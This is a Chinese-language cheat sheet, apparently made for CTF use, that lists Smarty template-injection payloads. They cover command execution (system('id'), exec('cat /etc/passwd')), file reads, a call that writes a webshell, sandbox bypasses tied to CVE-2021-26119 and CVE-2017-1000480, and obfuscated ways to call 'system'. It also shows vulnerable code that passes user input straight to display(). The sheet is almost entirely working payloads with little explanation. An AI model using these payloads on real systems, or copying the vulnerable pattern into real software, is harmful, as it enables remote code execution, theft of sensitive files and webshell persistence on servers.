smarty模板注入
语法标签:默认使用{ }
执行php语句:
常见payload:
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
命令执行:
{system('id')}
{exec('cat /etc/passwd')}
{shell_exec('whoami')}
文件读取(旧版本):
{include file='php://filter/convert.base64-encode/resource=/etc/passwd'}
{self::getStreamVariable("file:///etc/passwd")} # CVE-2017-1000480
# php中'->'访问对象的属性和方法,'::'访问类的静态成员或常量
写Webshell
{Smarty_Internal_Write_File::writeFile('/path/shell.php', '<?php phpinfo(); ?>')}
沙箱绕过:
利用静态方法(CVE-2021-26119)
{$smarty.template_object->smarty->disableSecurity()->display('string:{system("id")}')}
字符串拼接
{assign var='cmd' value='sy'|cat:'stem'}{$cmd('id')}
math标签执行代码
{math equation='exec("id")'}
fetch读取文件
{fetch file="/etc/passwd"}
编码混淆
{assign var='cmd' value='s171stem'}{$cmd|replace:'\':'','y':'s'}(id)
利用{literal}标签
{literal}{/literal}{system('id')}{literal}{/literal}
动态调用
{assign var='func' value='sys'.'tem'}{$func('id')}
利用display
// 危险代码
$tpl = $_GET['data'];
$smarty->display($tpl);
//注入
?data=*/phpinfo();//
利用{function}中的name属性
string:{function name='rce(){};phpinfo();function '}{/function}
制作恶意数学字符串来运行任意 PHP 代码